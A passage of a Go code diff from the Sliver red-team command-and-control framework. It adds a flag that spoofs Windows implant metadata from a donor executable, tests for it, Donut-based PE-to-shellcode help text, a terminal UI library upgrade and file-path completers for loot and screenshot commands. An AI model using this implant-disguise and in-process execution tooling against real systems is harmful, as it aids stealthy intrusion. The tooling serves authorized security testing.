if err := applySpoofMetadataToBuild(generated.GetImplantBuildID(), generated.GetImplantName(), spoofMetadata, con); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
implantName := generated.GetImplantName()
|
||||
if implantName == "" {
|
||||
implantName = name
|
||||
}
|
||||
generated, err = con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: implantName,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
@@ -1399,7 +1890,7 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name, con)
|
||||
saveTo, err := outputSavePath(save, generated.File.Name, config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -81,7 +81,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
}
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, nil, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata != nil {
|
||||
t.Fatal("expected spoof metadata to be nil when flag is not set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
|
||||
t.Fatalf("ParseFlags() error: %v", err)
|
||||
}
|
||||
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
|
||||
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
|
||||
sourceData := []byte{0x01, 0x02, 0x03}
|
||||
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
|
||||
t.Fatalf("write spoof metadata config: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from config file")
|
||||
}
|
||||
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
|
||||
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
|
||||
t.Fatalf("ParseFlags() error: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from positional path")
|
||||
}
|
||||
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "linux",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for non-windows target")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "supports only windows PE targets") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err == nil {
|
||||
t.Fatal("expected machine mismatch error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "expected amd64") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from path")
|
||||
}
|
||||
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||
}
|
||||
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||
t.Fatal("expected non-empty source data")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
usage := cmd.Flags().FlagUsages()
|
||||
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
|
||||
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
|
||||
}
|
||||
if strings.Contains(usage, "string[=") {
|
||||
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
|
||||
}
|
||||
if strings.Contains(usage, `[="`) {
|
||||
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
|
||||
}
|
||||
}
|
||||
|
||||
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
cmd := &cobra.Command{Use: "test"}
|
||||
bindSpoofMetadataFlag(cmd.Flags())
|
||||
return cmd
|
||||
}
|
||||
|
||||
func writeTempFile(t *testing.T, name string, data []byte) string {
|
||||
t.Helper()
|
||||
path := filepath.Join(t.TempDir(), name)
|
||||
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||
t.Fatalf("write temp file: %v", err)
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func goPEFixturePath(t *testing.T, fixtureName string) string {
|
||||
t.Helper()
|
||||
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
|
||||
if _, err := os.Stat(fixturePath); err != nil {
|
||||
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
|
||||
}
|
||||
return fixturePath
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package generate
|
||||
|
||||
import "strings"
|
||||
|
||||
type spoofMetadataFlagValue struct {
|
||||
value string
|
||||
}
|
||||
|
||||
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
|
||||
return &spoofMetadataFlagValue{}
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) Set(value string) error {
|
||||
value = strings.TrimSpace(value)
|
||||
switch strings.ToLower(value) {
|
||||
case "", "true":
|
||||
s.value = "true"
|
||||
case "false":
|
||||
s.value = "false"
|
||||
default:
|
||||
s.value = value
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) String() string {
|
||||
return s.value
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) Type() string {
|
||||
return "bool"
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
|
||||
return true
|
||||
}
|
||||
@@ -24,11 +24,12 @@ package help
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"image/color"
|
||||
"strings"
|
||||
|
||||
"charm.land/lipgloss/v2"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/theme"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -436,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
|
||||
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
@@ -1432,14 +1434,14 @@ type helpStyleState struct {
|
||||
bold bool
|
||||
underline bool
|
||||
fgSet bool
|
||||
fg lipgloss.Color
|
||||
fg color.Color
|
||||
}
|
||||
|
||||
func (s *helpStyleState) reset() {
|
||||
s.bold = false
|
||||
s.underline = false
|
||||
s.fgSet = false
|
||||
s.fg = ""
|
||||
s.fg = nil
|
||||
}
|
||||
|
||||
func (s *helpStyleState) apply(token string) bool {
|
||||
|
||||
@@ -5,10 +5,10 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
@@ -62,9 +62,12 @@ type editorModel struct {
|
||||
}
|
||||
|
||||
var (
|
||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
)
|
||||
|
||||
const (
|
||||
ansiReverseOn = "\x1b[7m"
|
||||
ansiReverseOff = "\x1b[0m"
|
||||
)
|
||||
|
||||
func modifiedStyle() lipgloss.Style {
|
||||
@@ -72,11 +75,6 @@ func modifiedStyle() lipgloss.Style {
|
||||
return console.StyleWarning
|
||||
}
|
||||
|
||||
func modifiedCursorStyle() lipgloss.Style {
|
||||
// Read from the global console theme so theme.yaml changes are reflected.
|
||||
return console.StyleWarning.Copy().Reverse(true)
|
||||
}
|
||||
|
||||
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
||||
copyData := append([]byte(nil), data...)
|
||||
model := &editorModel{
|
||||
@@ -114,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
m.height = msg.Height
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
case tea.KeyMsg:
|
||||
case tea.KeyPressMsg:
|
||||
if m.clearMessage {
|
||||
m.message = ""
|
||||
m.clearMessage = false
|
||||
}
|
||||
if msg.Type == tea.KeyCtrlC {
|
||||
key := msg.Key()
|
||||
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||
m.action = actionQuit
|
||||
return m, tea.Quit
|
||||
}
|
||||
switch m.mode {
|
||||
case modeCommand:
|
||||
return m.handleCommand(msg)
|
||||
return m.handleCommand(key)
|
||||
case modeHexEdit:
|
||||
return m.handleHexEdit(msg)
|
||||
return m.handleHexEdit(key)
|
||||
case modeASCIIEdit:
|
||||
return m.handleASCIIEdit(msg)
|
||||
return m.handleASCIIEdit(key)
|
||||
default:
|
||||
return m.handleNormal(msg)
|
||||
return m.handleNormal(key)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) View() string {
|
||||
func (m *editorModel) View() tea.View {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
@@ -160,19 +159,33 @@ func (m *editorModel) View() string {
|
||||
}
|
||||
|
||||
if m.height < 2 {
|
||||
return b.String()
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
||||
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||
|
||||
if m.height < 3 {
|
||||
return b.String()
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||
return b.String()
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
func renderStatusBar(width int, text string) string {
|
||||
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||
}
|
||||
|
||||
func renderCursorCell(cell string) string {
|
||||
return ansiReverseOn + cell + ansiReverseOff
|
||||
}
|
||||
|
||||
func hexEditorView(content string) tea.View {
|
||||
v := tea.NewView(content)
|
||||
v.AltScreen = true
|
||||
return v
|
||||
}
|
||||
|
||||
func (m *editorModel) result() editorResult {
|
||||
@@ -185,8 +198,8 @@ func (m *editorModel) result() editorResult {
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.command = ""
|
||||
@@ -201,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
}
|
||||
case tea.KeyBackspace:
|
||||
m.command = popRune(m.command)
|
||||
case tea.KeyRunes:
|
||||
m.command += string(msg.Runes)
|
||||
default:
|
||||
if key.Text != "" {
|
||||
m.command += key.Text
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.nibbleSet = false
|
||||
@@ -230,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
val, ok := hexNibble(r)
|
||||
if !ok {
|
||||
continue
|
||||
@@ -250,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
case tea.KeyLeft:
|
||||
@@ -262,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
if r < 0 || r > 0xFF {
|
||||
continue
|
||||
}
|
||||
@@ -275,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.pending = 0
|
||||
case tea.KeyLeft:
|
||||
@@ -287,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
if m.handleNormalRune(r) {
|
||||
break
|
||||
}
|
||||
@@ -408,13 +423,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
|
||||
asciiRaw := string(printableByte(byteVal))
|
||||
isModified := m.isModified(idx)
|
||||
if idx == m.cursor {
|
||||
if isModified {
|
||||
hexCells[i] = modifiedCursorStyle().Render(hexRaw)
|
||||
asciiCells[i] = modifiedCursorStyle().Render(asciiRaw)
|
||||
} else {
|
||||
hexCells[i] = cursorStyle.Render(hexRaw)
|
||||
asciiCells[i] = cursorStyle.Render(asciiRaw)
|
||||
}
|
||||
hexCells[i] = renderCursorCell(hexRaw)
|
||||
asciiCells[i] = renderCursorCell(asciiRaw)
|
||||
continue
|
||||
}
|
||||
if isModified {
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
@@ -15,8 +16,9 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
||||
model := newEditorModel(data, filename, offset)
|
||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
||||
width, height := 80, 24
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
width, height = w, h
|
||||
}
|
||||
program := tea.NewProgram(
|
||||
model,
|
||||
tea.WithWindowSize(width, height),
|
||||
tea.WithColorProfile(colorprofile.TrueColor),
|
||||
)
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
|
||||
@@ -19,6 +19,7 @@ package jobs
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -155,6 +156,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
|
||||
registerWebsiteFlagCompletion(httpsCmd, "website", con)
|
||||
|
||||
// Staging listeners
|
||||
@@ -185,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
|
||||
|
||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package loot
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
carapace.Gen(lootAddCmd).PositionalCompletion(
|
||||
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
|
||||
|
||||
lootRemoteCmd := &cobra.Command{
|
||||
Use: consts.LootRemoteStr,
|
||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
||||
(*comp)["filter"] = FileTypeCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
|
||||
|
||||
lootRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(procdumpCmd, "save")
|
||||
|
||||
terminateCmd := &cobra.Command{
|
||||
Use: consts.TerminateStr,
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package registry
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(registryReadHiveCmd, "save")
|
||||
registryReadCmd.AddCommand(registryReadHiveCmd)
|
||||
|
||||
registryWriteCmd := &cobra.Command{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package screenshot
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(screenshotCmd, "save")
|
||||
|
||||
return []*cobra.Command{screenshotCmd}
|
||||
}
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
clienttheme "github.com/bishopfox/sliver/client/theme"
|
||||
@@ -21,7 +22,6 @@ import (
|
||||
"github.com/charmbracelet/bubbles/key"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/huh"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package shellcodeencoders
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -48,7 +49,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
|
||||
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(shellcodeEncodersEncodeCmd, "output")
|
||||
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
||||
completers.RegisterLocalFilePathPositionalAnyCompletion(shellcodeEncodersEncodeCmd)
|
||||
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
|
||||
|
||||
return []*cobra.Command{shellcodeEncodersCmd}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package sgn
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -34,7 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(shikataGaNaiCmd, "save")
|
||||
carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(shikataGaNaiCmd, 0)
|
||||
|
||||
return []*cobra.Command{shikataGaNaiCmd}
|
||||
}
|
||||
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["proxy"] = completers.LocalProxyCompleter()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(updateCmd, "save")
|
||||
|
||||
versionCmd := &cobra.Command{
|
||||
Use: consts.VersionStr,
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package wasm
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
